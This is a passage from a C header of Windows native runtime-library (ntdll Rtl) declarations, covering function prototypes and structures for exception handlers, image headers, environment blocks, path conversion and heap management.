);\n\nNTSYSAPI\nULONG64\nNTAPI\nRtlGetExtendedFeaturesMask(\n _In_ PCONTEXT_EX ContextEx\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlLocateExtendedFeature(\n _In_ PCONTEXT_EX ContextEx,\n _In_ ULONG FeatureId,\n _Out_opt_ PULONG Length\n );\n\nNTSYSAPI\nPCONTEXT\nNTAPI\nRtlLocateLegacyContext(\n _In_ PCONTEXT_EX ContextEx,\n _Out_opt_ PULONG Length\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetExtendedFeaturesMask(\n __out PCONTEXT_EX ContextEx,\n _Out_ ULONG64 FeatureMask\n );\n\n#ifdef _WIN64\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWow64GetThreadContext(\n _In_ HANDLE ThreadHandle,\n _Inout_ PWOW64_CONTEXT ThreadContext\n );\n#endif\n\n#ifdef _WIN64\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWow64SetThreadContext(\n _In_ HANDLE ThreadHandle,\n _In_ PWOW64_CONTEXT ThreadContext\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlRemoteCall(\n _In_ HANDLE Process,\n _In_ HANDLE Thread,\n _In_ PVOID CallSite,\n _In_ ULONG ArgumentCount,\n _In_opt_ PULONG_PTR Arguments,\n _In_ BOOLEAN PassContext,\n _In_ BOOLEAN AlreadySuspended\n );\n\n// Vectored exception handlers\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAddVectoredExceptionHandler(\n _In_ ULONG First,\n _In_ PVECTORED_EXCEPTION_HANDLER Handler\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRemoveVectoredExceptionHandler(\n _In_ PVOID Handle\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAddVectoredContinueHandler(\n _In_ ULONG First,\n _In_ PVECTORED_EXCEPTION_HANDLER Handler\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRemoveVectoredContinueHandler(\n _In_ PVOID Handle\n );\n\n// Runtime exception handling\n\ntypedef ULONG (NTAPI *PRTLP_UNHANDLED_EXCEPTION_FILTER)(\n _In_ PEXCEPTION_POINTERS ExceptionInfo\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetUnhandledExceptionFilter(\n _In_ PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter\n );\n\n// rev\nNTSYSAPI\nLONG\nNTAPI\nRtlUnhandledExceptionFilter(\n _In_ PEXCEPTION_POINTERS ExceptionPointers\n );\n\n// rev\nNTSYSAPI\nLONG\nNTAPI\nRtlUnhandledExceptionFilter2(\n _In_ PEXCEPTION_POINTERS ExceptionPointers,\n _In_ ULONG Flags\n );\n\n// rev\nNTSYSAPI\nLONG\nNTAPI\nRtlKnownExceptionFilter(\n _In_ PEXCEPTION_POINTERS ExceptionPointers\n );\n\n#ifdef _WIN64\n\n// private\ntypedef enum _FUNCTION_TABLE_TYPE\n{\n RF_SORTED,\n RF_UNSORTED,\n RF_CALLBACK,\n RF_KERNEL_DYNAMIC\n} FUNCTION_TABLE_TYPE;\n\n// private\ntypedef struct _DYNAMIC_FUNCTION_TABLE\n{\n LIST_ENTRY ListEntry;\n PRUNTIME_FUNCTION FunctionTable;\n LARGE_INTEGER TimeStamp;\n ULONG64 MinimumAddress;\n ULONG64 MaximumAddress;\n ULONG64 BaseAddress;\n PGET_RUNTIME_FUNCTION_CALLBACK Callback;\n PVOID Context;\n PWSTR OutOfProcessCallbackDll;\n FUNCTION_TABLE_TYPE Type;\n ULONG EntryCount;\n RTL_BALANCED_NODE TreeNode;\n} DYNAMIC_FUNCTION_TABLE, *PDYNAMIC_FUNCTION_TABLE;\n\n// rev\nNTSYSAPI\nPLIST_ENTRY\nNTAPI\nRtlGetFunctionTableListHead(\n VOID\n );\n\n#endif\n\n// Images\n\nNTSYSAPI\nPIMAGE_NT_HEADERS\nNTAPI\nRtlImageNtHeader(\n _In_ PVOID BaseOfImage\n );\n\n#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK 0x00000001\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlImageNtHeaderEx(\n _In_ ULONG Flags,\n _In_ PVOID BaseOfImage,\n _In_ ULONG64 Size,\n _Out_ PIMAGE_NT_HEADERS *OutHeaders\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAddressInSectionTable(\n _In_ PIMAGE_NT_HEADERS NtHeaders,\n _In_ PVOID BaseOfImage,\n _In_ ULONG VirtualAddress\n );\n\nNTSYSAPI\nPIMAGE_SECTION_HEADER\nNTAPI\nRtlSectionTableFromVirtualAddress(\n _In_ PIMAGE_NT_HEADERS NtHeaders,\n _In_ PVOID BaseOfImage,\n _In_ ULONG VirtualAddress\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageDirectoryEntryToData(\n _In_ PVOID BaseOfImage,\n _In_ BOOLEAN MappedAsImage,\n _In_ USHORT DirectoryEntry,\n _Out_ PULONG Size\n );\n\nNTSYSAPI\nPIMAGE_SECTION_HEADER\nNTAPI\nRtlImageRvaToSection(\n _In_ PIMAGE_NT_HEADERS NtHeaders,\n _In_ PVOID BaseOfImage,\n _In_ ULONG Rva\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageRvaToVa(\n _In_ PIMAGE_NT_HEADERS NtHeaders,\n _In_ PVOID BaseOfImage,\n _In_ ULONG Rva,\n _Inout_opt_ PIMAGE_SECTION_HEADER *LastRvaSection\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\n// rev\nNTSYSAPI\nPVOID\nNTAPI\nRtlFindExportedRoutineByName(\n _In_ PVOID BaseOfImage,\n _In_ PCSTR RoutineName\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE)\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGuardCheckLongJumpTarget(\n _In_ PVOID PcValue, \n _In_ BOOL IsFastFail, \n _Out_ PBOOL IsLongJumpTarget\n );\n\n#endif\n\n// Memory\n\nNTSYSAPI\nSIZE_T\nNTAPI\nRtlCompareMemoryUlong(\n _In_ PVOID Source,\n _In_ SIZE_T Length,\n _In_ ULONG Pattern\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFillMemoryUlong(\n _Out_ PVOID Destination,\n _In_ SIZE_T Length,\n _In_ ULONG Pattern\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFillMemoryUlonglong(\n _Out_ PVOID Destination,\n _In_ SIZE_T Length,\n _In_ ULONGLONG Pattern\n );\n\n// Environment\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateEnvironment(\n _In_ BOOLEAN CloneCurrentEnvironment,\n _Out_ PVOID *Environment\n );\n\n// begin_rev\n#define RTL_CREATE_ENVIRONMENT_TRANSLATE 0x1 // translate from multi-byte to Unicode\n#define RTL_CREATE_ENVIRONMENT_TRANSLATE_FROM_OEM 0x2 // translate from OEM to Unicode (Translate flag must also be set)\n#define RTL_CREATE_ENVIRONMENT_EMPTY 0x4 // create empty environment block\n// end_rev\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateEnvironmentEx(\n _In_ PVOID SourceEnv,\n _Out_ PVOID *Environment,\n _In_ ULONG Flags\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyEnvironment(\n _In_ PVOID Environment\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetCurrentEnvironment(\n _In_ PVOID Environment,\n _Out_opt_ PVOID *PreviousEnvironment\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetEnvironmentVar(\n _Inout_opt_ PVOID *Environment,\n _In_reads_(NameLength) PCWSTR Name,\n _In_ SIZE_T NameLength,\n _In_reads_(ValueLength) PCWSTR Value,\n _In_ SIZE_T ValueLength\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetEnvironmentVariable(\n _Inout_opt_ PVOID *Environment,\n _In_ PUNICODE_STRING Name,\n _In_opt_ PUNICODE_STRING Value\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryEnvironmentVariable(\n _In_opt_ PVOID Environment,\n _In_reads_(NameLength) PCWSTR Name,\n _In_ SIZE_T NameLength,\n _Out_writes_(ValueLength) PWSTR Value,\n _In_ SIZE_T ValueLength,\n _Out_ PSIZE_T ReturnLength\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryEnvironmentVariable_U(\n _In_opt_ PVOID Environment,\n _In_ PUNICODE_STRING Name,\n _Inout_ PUNICODE_STRING Value\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlExpandEnvironmentStrings(\n _In_opt_ PVOID Environment,\n _In_reads_(SrcLength) PCWSTR Src,\n _In_ SIZE_T SrcLength,\n _Out_writes_(DstLength) PWSTR Dst,\n _In_ SIZE_T DstLength,\n _Out_opt_ PSIZE_T ReturnLength\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlExpandEnvironmentStrings_U(\n _In_opt_ PVOID Environment,\n _In_ PUNICODE_STRING Source,\n _Inout_ PUNICODE_STRING Destination,\n _Out_opt_ PULONG ReturnedLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetEnvironmentStrings(\n _In_ PCWCHAR NewEnvironment,\n _In_ SIZE_T NewEnvironmentSize\n );\n\n// Directory and path support\n\ntypedef struct _RTLP_CURDIR_REF\n{\n LONG ReferenceCount;\n HANDLE DirectoryHandle;\n} RTLP_CURDIR_REF, *PRTLP_CURDIR_REF;\n\ntypedef struct _RTL_RELATIVE_NAME_U\n{\n UNICODE_STRING RelativeName;\n HANDLE ContainingDirectory;\n PRTLP_CURDIR_REF CurDirRef;\n} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U;\n\ntypedef enum _RTL_PATH_TYPE\n{\n RtlPathTypeUnknown,\n RtlPathTypeUncAbsolute,\n RtlPathTypeDriveAbsolute,\n RtlPathTypeDriveRelative,\n RtlPathTypeRooted,\n RtlPathTypeRelative,\n RtlPathTypeLocalDevice,\n RtlPathTypeRootLocalDevice\n} RTL_PATH_TYPE;\n\n// Data exports (ntdll.lib/ntdllp.lib)\n\nNTSYSAPI PWSTR RtlNtdllName;\nNTSYSAPI UNICODE_STRING RtlDosPathSeperatorsString;\nNTSYSAPI UNICODE_STRING RtlAlternateDosPathSeperatorString;\nNTSYSAPI UNICODE_STRING RtlNtPathSeperatorString;\n\n#ifndef PHNT_INLINE_SEPERATOR_STRINGS\n#define RtlNtdllName L\"ntdll.dll\"\n#define RtlDosPathSeperatorsString ((UNICODE_STRING)RTL_CONSTANT_STRING(L\"\\\\/\"))\n#define RtlAlternateDosPathSeperatorString ((UNICODE_STRING)RTL_CONSTANT_STRING(L\"/\"))\n#define RtlNtPathSeperatorString ((UNICODE_STRING)RTL_CONSTANT_STRING(L\"\\\\\"))\n#endif\n\n// Path functions\n\nNTSYSAPI\nRTL_PATH_TYPE\nNTAPI\nRtlDetermineDosPathNameType_U(\n _In_ PCWSTR DosFileName\n );\n\nNTSYSAPI\nRTL_PATH_TYPE\nNTAPI\nRtlDetermineDosPathNameType_Ustr(\n _In_ PCUNICODE_STRING DosFileName\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlIsDosDeviceName_U(\n _In_ PCWSTR DosFileName\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlIsDosDeviceName_Ustr(\n _In_ PUNICODE_STRING DosFileName\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetFullPathName_U(\n _In_ PCWSTR FileName,\n _In_ ULONG BufferLength,\n _Out_writes_bytes_(BufferLength) PWSTR Buffer,\n _Out_opt_ PWSTR *FilePart\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetFullPathName_UEx(\n _In_ PCWSTR FileName,\n _In_ ULONG BufferLength,\n _Out_writes_bytes_(BufferLength) PWSTR Buffer,\n _Out_opt_ PWSTR *FilePart,\n _Out_opt_ ULONG *BytesRequired\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetFullPathName_UstrEx(\n _In_ PUNICODE_STRING FileName,\n _Inout_ PUNICODE_STRING StaticString,\n _Out_opt_ PUNICODE_STRING DynamicString,\n _Out_opt_ PUNICODE_STRING *StringUsed,\n _Out_opt_ SIZE_T *FilePartPrefixCch,\n _Out_opt_ PBOOLEAN NameInvalid,\n _Out_ RTL_PATH_TYPE *InputPathType,\n _Out_opt_ SIZE_T *BytesRequired\n );\n#endif\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetCurrentDirectory_U(\n _In_ ULONG BufferLength,\n _Out_writes_bytes_(BufferLength) PWSTR Buffer\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetCurrentDirectory_U(\n _In_ PUNICODE_STRING PathName\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetLongestNtPathLength(\n VOID\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDosPathNameToNtPathName_U(\n _In_ PCWSTR DosFileName,\n _Out_ PUNICODE_STRING NtFileName,\n _Out_opt_ PWSTR *FilePart,\n _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName\n );\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDosPathNameToNtPathName_U_WithStatus(\n _In_ PCWSTR DosFileName,\n _Out_ PUNICODE_STRING NtFileName,\n _Out_opt_ PWSTR *FilePart,\n _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE3)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDosLongPathNameToNtPathName_U_WithStatus(\n _In_ PCWSTR DosFileName,\n _Out_ PUNICODE_STRING NtFileName,\n _Out_opt_ PWSTR *FilePart,\n _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDosPathNameToRelativeNtPathName_U(\n _In_ PCWSTR DosFileName,\n _Out_ PUNICODE_STRING NtFileName,\n _Out_opt_ PWSTR *FilePart,\n _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDosPathNameToRelativeNtPathName_U_WithStatus(\n _In_ PCWSTR DosFileName,\n _Out_ PUNICODE_STRING NtFileName,\n _Out_opt_ PWSTR *FilePart,\n _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE3)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDosLongPathNameToRelativeNtPathName_U_WithStatus(\n _In_ PCWSTR DosFileName,\n _Out_ PUNICODE_STRING NtFileName,\n _Out_opt_ PWSTR *FilePart,\n _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSAPI\nVOID\nNTAPI\nRtlReleaseRelativeName(\n _Inout_ PRTL_RELATIVE_NAME_U RelativeName\n );\n#endif\n\nNTSYSAPI\nULONG\nNTAPI\nRtlDosSearchPath_U(\n _In_ PCWSTR Path,\n _In_ PCWSTR FileName,\n _In_opt_ PCWSTR Extension,\n _In_ ULONG BufferLength,\n _Out_writes_bytes_(BufferLength) PWSTR Buffer,\n _Out_opt_ PWSTR *FilePart\n );\n\n#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_ISOLATION_REDIRECTION 0x00000001\n#define RTL_DOS_SEARCH_PATH_FLAG_DISALLOW_DOT_RELATIVE_PATH_SEARCH 0x00000002\n#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_DEFAULT_EXTENSION_WHEN_NOT_RELATIVE_PATH_EVEN_IF_FILE_HAS_EXTENSION 0x00000004\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDosSearchPath_Ustr(\n _In_ ULONG Flags,\n _In_ PUNICODE_STRING Path,\n _In_ PUNICODE_STRING FileName,\n _In_opt_ PUNICODE_STRING DefaultExtension,\n _Out_opt_ PUNICODE_STRING StaticString,\n _Out_opt_ PUNICODE_STRING DynamicString,\n _Out_opt_ PCUNICODE_STRING *FullFileNameOut,\n _Out_opt_ SIZE_T *FilePartPrefixCch,\n _Out_opt_ SIZE_T *BytesRequired\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDoesFileExists_U(\n _In_ PCWSTR FileName\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetLengthWithoutLastFullDosOrNtPathElement(\n _Reserved_ ULONG Flags,\n _In_ PUNICODE_STRING PathString,\n _Out_ PULONG Length\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetLengthWithoutTrailingPathSeperators(\n _Reserved_ ULONG Flags,\n _In_ PUNICODE_STRING PathString,\n _Out_ PULONG Length\n );\n\ntypedef struct _GENERATE_NAME_CONTEXT\n{\n USHORT Checksum;\n BOOLEAN CheckSumInserted;\n UCHAR NameLength;\n WCHAR NameBuffer[8];\n ULONG ExtensionLength;\n WCHAR ExtensionBuffer[4];\n ULONG LastIndexValue;\n} GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT;\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGenerate8dot3Name(\n _In_ PUNICODE_STRING Name,\n _In_ BOOLEAN AllowExtendedCharacters,\n _In_ PGENERATE_NAME_CONTEXT Context,\n _Out_ PUNICODE_STRING Name8dot3\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlComputePrivatizedDllName_U(\n _In_ PUNICODE_STRING DllName,\n _Out_ PUNICODE_STRING RealName,\n _Out_ PUNICODE_STRING LocalName\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlGetSearchPath(\n _Out_ PWSTR *SearchPath\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetSearchPathMode(\n _In_ ULONG Flags\n );\n\n// rev\nNTSYSAPI\nPWSTR\nNTAPI\nRtlGetExePath(\n VOID\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE2)\n\n// private\nNTSYSAPI\nPWSTR\nNTAPI\nRtlGetNtSystemRoot(\n VOID\n );\n\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlAreLongPathsEnabled(\n VOID\n );\n\n#endif\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsThreadWithinLoaderCallout(\n VOID\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDllShutdownInProgress(\n VOID\n );\n\n// Heaps\n\ntypedef struct _RTL_HEAP_ENTRY\n{\n SIZE_T Size;\n USHORT Flags;\n USHORT AllocatorBackTraceIndex;\n union\n {\n struct\n {\n SIZE_T Settable;\n ULONG Tag;\n } s1;\n struct\n {\n SIZE_T CommittedSize;\n PVOID FirstBlock;\n } s2;\n } u;\n} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY;\n\n#define RTL_HEAP_BUSY (USHORT)0x0001\n#define RTL_HEAP_SEGMENT (USHORT)0x0002\n#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010\n#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020\n#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040\n#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080\n#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00e0\n#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100\n#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200\n\ntypedef struct _RTL_HEAP_TAG\n{\n ULONG NumberOfAllocations;\n ULONG NumberOfFrees;\n SIZE_T BytesAllocated;\n USHORT TagIndex;\n USHORT CreatorBackTraceIndex;\n WCHAR TagName[24];\n} RTL_HEAP_TAG, *PRTL_HEAP_TAG;\n\ntypedef struct _RTL_HEAP_INFORMATION\n{\n PVOID BaseAddress;\n ULONG Flags;\n USHORT EntryOverhead;\n USHORT CreatorBackTraceIndex;\n SIZE_T BytesAllocated;\n SIZE_T BytesCommitted;\n ULONG NumberOfTags;\n ULONG NumberOfEntries;\n ULONG NumberOfPseudoTags;\n ULONG PseudoTagGranularity;\n ULONG Reserved[5];\n PRTL_HEAP_TAG Tags;\n PRTL_HEAP_ENTRY Entries;\n} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION;\n\ntypedef struct _RTL_PROCESS_HEAPS\n{\n ULONG NumberOfHeaps;\n RTL_HEAP_INFORMATION Heaps[1];\n} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS;\n\ntypedef NTSTATUS (NTAPI *PRTL_HEAP_COMMIT_ROUTINE)(\n _In_ PVOID Base,\n _Inout_ PVOID *CommitAddress,\n _Inout_ PSIZE_T CommitSize\n );\n\ntypedef struct _RTL_HEAP_PARAMETERS\n{\n ULONG Length;\n SIZE_T SegmentReserve;\n SIZE_T SegmentCommit;\n SIZE_T DeCommitFreeBlockThreshold;\n SIZE_T DeCommitTotalFreeThreshold;\n SIZE_T MaximumAllocationSize;\n SIZE_T VirtualMemoryThreshold;\n SIZE_T InitialCommit;\n SIZE_T InitialReserve;\n PRTL_HEAP_COMMIT_ROUTINE CommitRoutine;\n SIZE_T Reserved[2];\n} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;\n\n#define HEAP_SETTABLE_USER_VALUE 0x00000100\n#define HEAP_SETTABLE_USER_FLAG1 0x00000200\n#define HEAP_SETTABLE_USER_FLAG2 0x00000400\n#define HEAP_SETTABLE_USER_FLAG3 0x00000800\n#define HEAP_SETTABLE_USER_FLAGS 0x00000e00\n\n#define HEAP_CLASS_0 0x00000000 // Process heap\n#define HEAP_CLASS_1 0x00001000 // Private heap\n#define HEAP_CLASS_2 0x00002000 // Kernel heap\n#define HEAP_CLASS_3 0x00003000 // GDI heap\n#define HEAP_CLASS_4 0x00004000 // User heap\n#define HEAP_CLASS_5 0x00005000 // Console heap\n#define HEAP_CLASS_6 0x00006000 // User desktop heap\n#define HEAP_CLASS_7 0x00007000 // CSR shared heap\n#define HEAP_CLASS_8 0x00008000 // CSR port heap\n#define HEAP_CLASS_MASK 0x0000f000\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlCreateHeap(\n _In_ ULONG Flags,\n _In_opt_ PVOID HeapBase,\n _In_opt_ SIZE_T ReserveSize,\n _In_opt_ SIZE_T CommitSize,\n _In_opt_ PVOID Lock,\n _In_opt_ PRTL_HEAP_PARAMETERS Parameters\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlDestroyHeap(\n _Frees_ptr_ PVOID HeapHandle\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAllocateHeap(\n _In_ PVOID HeapHandle,\n _In_opt_ ULONG Flags,\n _In_ SIZE_T Size\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHeap(\n _In_ PVOID HeapHandle,\n _In_opt_ ULONG Flags,\n _Frees_ptr_opt_ PVOID BaseAddress\n );\n\nNTSYSAPI\nSIZE_T\nNTAPI\nRtlSizeHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ PVOID BaseAddress\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlZeroHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlProtectHeap(\n _In_ PVOID HeapHandle,\n _In_ BOOLEAN MakeReadOnly\n );\n\n#define RtlProcessHeap() (NtCurrentPeb()->ProcessHeap)\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlLockHeap(\n _In_ PVOID HeapHandle\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlUnlockHeap(\n _In_ PVOID HeapHandle\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlReAllocateHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _Frees_ptr_opt_ PVOID BaseAddress,\n _In_ SIZE_T Size\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlGetUserInfoHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ PVOID BaseAddress,\n _Out_opt_ PVOID *UserValue,\n _Out_opt_ PULONG UserFlags\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlSetUserValueHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ PVOID BaseAddress,\n _In_ PVOID UserValue\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlSetUserFlagsHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ PVOID BaseAddress,\n _In_ ULONG UserFlagsReset,\n _In_ ULONG UserFlagsSet\n );\n\ntypedef struct _RTL_HEAP_TAG_INFO\n{\n ULONG NumberOfAllocations;\n ULONG NumberOfFrees;\n SIZE_T BytesAllocated;\n} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO;\n\n#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS\n\nNTSYSAPI\nULONG\nNTAPI\nRtlCreateTagHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_opt_ PWSTR TagPrefix,\n _In_ PWSTR TagNames\n );\n\nNTSYSAPI\nPWSTR\nNTAPI\nRtlQueryTagHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ USHORT TagIndex,\n _In_ BOOLEAN ResetCounters,\n _Out_opt_ PRTL_HEAP_TAG_INFO TagInfo\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlExtendHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ PVOID Base,\n _In_ SIZE_T Size\n );\n\nNTSYSAPI\nSIZE_T\nNTAPI\nRtlCompactHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidateHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _In_ PVOID BaseAddress\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidateProcessHeaps(\n VOID\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetProcessHeaps(\n _In_ ULONG NumberOfHeaps,\n _Out_ PVOID *ProcessHeaps\n );\n\ntypedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)(\n _In_ PVOID HeapHandle,\n _In_ PVOID Parameter\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEnumProcessHeaps(\n _In_ PRTL_ENUM_HEAPS_ROUTINE EnumRoutine,\n _In_ PVOID Parameter\n );\n\ntypedef struct _RTL_HEAP_USAGE_ENTRY\n{\n struct _RTL_HEAP_USAGE_ENTRY *Next;\n PVOID Address;\n SIZE_T Size;\n USHORT AllocatorBackTraceIndex;\n USHORT TagIndex;\n} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY;\n\ntypedef struct _RTL_HEAP_USAGE\n{\n ULONG Length;\n SIZE_T BytesAllocated;\n SIZE_T BytesCommitted;\n SIZE_T BytesReserved;\n SIZE_T BytesReservedMaximum;\n PRTL_HEAP_USAGE_ENTRY Entries;\n PRTL_HEAP_USAGE_ENTRY AddedEntries;\n PRTL_HEAP_USAGE_ENTRY RemovedEntries;\n ULONG_PTR Reserved[8];\n} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE;\n\n#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY\n#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUsageHeap(\n _In_ PVOID HeapHandle,\n _In_ ULONG Flags,\n _Inout_ PRTL_HEAP_USAGE Usage\n );\n\ntypedef struct _RTL_HEAP_WALK_ENTRY\n{\n PVOID DataAddress;\n SIZE_T DataSize;\n UCHAR OverheadBytes;\n UCHAR SegmentIndex;\n USHORT Flags;\n union\n {\n struct\n {\n SIZE_T Settable;\n USHORT TagIndex;\n USHORT AllocatorBackTraceIndex;\n ULONG Reserved[2];\n } Block;\n struct\n {\n ULONG CommittedSize;\n ULONG UnCommittedSize;\n PVOID FirstEntry;\n PVOID LastEntry;\n } Segment;\n };\n} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlWalkHeap(\n _In_ PVOID HeapHandle,\n _Inout_ PRTL_HEAP_WALK_ENTRY Entry\n );\n\n// HEAP_INFORMATION_CLASS\n#define HeapCompatibilityInformation 0x0 // q; s: ULONG\n#define HeapEnableTerminationOnCorruption 0x1 // q; s: NULL\n#define HeapExtendedInformation 0x2 // q; s: HEAP_EXTENDED_INFORMATION\n#define HeapOptimizeResources 